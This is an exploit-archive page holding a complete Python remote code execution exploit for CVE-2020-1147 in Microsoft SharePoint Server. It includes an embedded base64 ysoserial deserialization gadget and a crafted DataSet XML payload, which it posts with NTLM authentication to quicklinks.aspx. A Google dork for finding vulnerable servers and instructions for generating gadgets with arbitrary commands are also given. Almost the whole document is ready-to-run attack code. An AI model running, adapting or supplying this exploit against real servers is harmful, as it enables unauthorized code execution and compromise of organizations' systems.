Share
## https://sploitus.com/exploit?id=PACKETSTORM:163644
# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution (2)  
# Google Dork: inurl:quicklinks.aspx  
# Date: 2020-08-14  
# Exploit Author: West Shepherd  
# Vendor Homepage: https://www.microsoft.com  
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service  
# Pack 2, SharePoint Server 2019  
# Tested on: Windows 2016  
# CVE : CVE-2020-1147  
# Credit goes to Steven Seele and Soroush Dalili  
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html  
  
#!/usr/bin/python  
from sys import argv, exit, stdout, stderr  
import argparse  
import requests  
from bs4 import BeautifulSoup  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
from requests_ntlm import HttpNtlmAuth  
from urllib import quote, unquote  
import logging  
  
  
class Exploit(object):  
# To generate the gadget use:  
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"  
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"  
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='  
control_path_quicklinks = '/_layouts/15/quicklinks.aspx'  
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'  
control_path = control_path_quicklinks  
  
def __init__(self, redirect=False, proxy_address='', username='', domain='', password='', target=''):  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
self.username = '%s\\%s' % (domain, username)  
self.target = target  
self.password = password  
self.session = requests.session()  
self.redirect = redirect  
self.timeout = 0.5  
self.proxies = {  
'http': 'http://%s' % proxy_address,  
'https': 'http://%s' % proxy_address  
} \  
if proxy_address is not None \  
and proxy_address != '' else {}  
self.headers = {}  
self.query_params = {  
'Mode': "Suggestion"  
}  
self.form_values = {  
'__viewstate': '',  
'__SUGGESTIONSCACHE__': ''  
}  
self.cookies = {}  
self.payload = """\  
<DataSet>  
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"  
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">  
<xs:element name="somedataset" msdata:IsDataSet="true"  
msdata:UseCurrentLocale="true">  
<xs:complexType>  
<xs:choice minOccurs="0" maxOccurs="unbounded">  
<xs:element name="Exp_x0020_Table">  
<xs:complexType>  
<xs:sequence>  
<xs:element name="pwn"  
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,  
System.Web, Version=4.0.0.0, Culture=neutral,  
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,  
PresentationFramework, Version=4.0.0.0, Culture=neutral,  
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,  
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"  
type="xs:anyType" minOccurs="0"/>  
</xs:sequence>  
</xs:complexType>  
</xs:element>  
</xs:choice>  
</xs:complexType>  
</xs:element>  
</xs:schema>  
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"  
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">  
<somedataset>  
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"  
diffgr:hasChanges="inserted">  
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<ExpandedElement/>  
<ProjectedProperty0>  
<MethodName>Deserialize</MethodName>  
<MethodParameters>  
<anyType  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"  
xsi:type="xsd:string">{GADGET}</anyType>  
</MethodParameters>  
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>  
</ProjectedProperty0>  
</pwn>  
</Exp_x0020_Table>  
</somedataset>  
</diffgr:diffgram>  
</DataSet>""".replace('{GADGET}', self.gadget)  
  
def do_get(self, url, params=None, data=None):  
return self.session.get(  
url=url,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
data=data,  
params=params,  
auth=HttpNtlmAuth(self.username, self.password)  
)  
  
def do_post(self, url, data=None, params=None):  
return self.session.post(  
url=url,  
data=data,  
verify=False,  
allow_redirects=self.redirect,  
headers=self.headers,  
cookies=self.cookies,  
proxies=self.proxies,  
params=params,  
auth=HttpNtlmAuth(self.username, self.password)  
)  
  
def parse_page(self, content):  
soup = BeautifulSoup(content, 'lxml')  
for key, val in self.form_values.iteritems():  
try:  
for tag in soup.select('input[name=%s]' % key):  
try:  
self.form_values[key] = tag['value']  
except Exception as error:  
stderr.write('error for key %s error %s\n' % (key, str(error)))  
except Exception as error:  
stderr.write('error for selector %s error %s\n' % (key, str(error)))  
return self  
  
def debug(self):  
try:  
import http.client as http_client  
except ImportError:  
import httplib as http_client  
http_client.HTTPConnection.debuglevel = 1  
logging.basicConfig()  
logging.getLogger().setLevel(logging.DEBUG)  
requests_log = logging.getLogger("requests.packages.urllib3")  
requests_log.setLevel(logging.DEBUG)  
requests_log.propagate = True  
return self  
  
def clean(self, payload):  
payload = payload.replace('\n', '').replace('\r', '')  
while ' ' in payload:  
payload = payload.replace(' ', ' ')  
return payload  
  
def get_form(self):  
url = '%s%s' % (self.target, self.control_path)  
resp = self.do_get(url=url, params=self.query_params)  
self.parse_page(content=resp.content)  
return resp  
  
def send_payload(self):  
url = '%s%s' % (self.target, self.control_path)  
# self.get_form()  
self.headers['Content-Type'] = 'application/x-www-form-urlencoded'  
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)  
self.form_values['__viewstate'] = ''  
resp = self.do_post(url=url, params=self.query_params, data=self.form_values)  
return resp  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit')  
try:  
parser.add_argument("-target", action='store', help='Target address: http(s)://target.com ')  
parser.add_argument("-username", action='store', default='', help='Username to use: first.last')  
parser.add_argument("-domain", action='store', default='', help='User domain to use: domain.local')  
parser.add_argument("-password", action='store', default='', help='Password to use: Summer2020')  
parser.add_argument("-both", action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False')  
parser.add_argument("-debug", action='store', default=False, help='Enable debugging: False')  
parser.add_argument("-proxy", action='store', default='', help='Enable proxy: 10.10.10.10:8080')  
  
if len(argv) == 1:  
parser.print_help()  
exit(1)  
options = parser.parse_args()  
  
exp = Exploit(  
proxy_address=options.proxy,  
username=options.username,  
domain=options.domain,  
password=options.password,  
target=options.target  
)  
  
if options.debug:  
exp.debug()  
stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % (  
options.target, options.username, options.domain, options.password, options.debug, options.proxy  
))  
  
result = exp.send_payload()  
stdout.write('Response: %d\n' % result.status_code)  
if 'MicrosoftSharePointTeamServices' in result.headers:  
stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices'])  
if options.both and result.status_code != 200:  
exp.control_path = exp.control_path_quicklinksdialogform  
stdout.write('Trying alternate page\n')  
result = exp.send_payload()  
stdout.write('Response: %d\n' % result.status_code)  
  
except Exception as error:  
stderr.write('error in main %s' % str(error))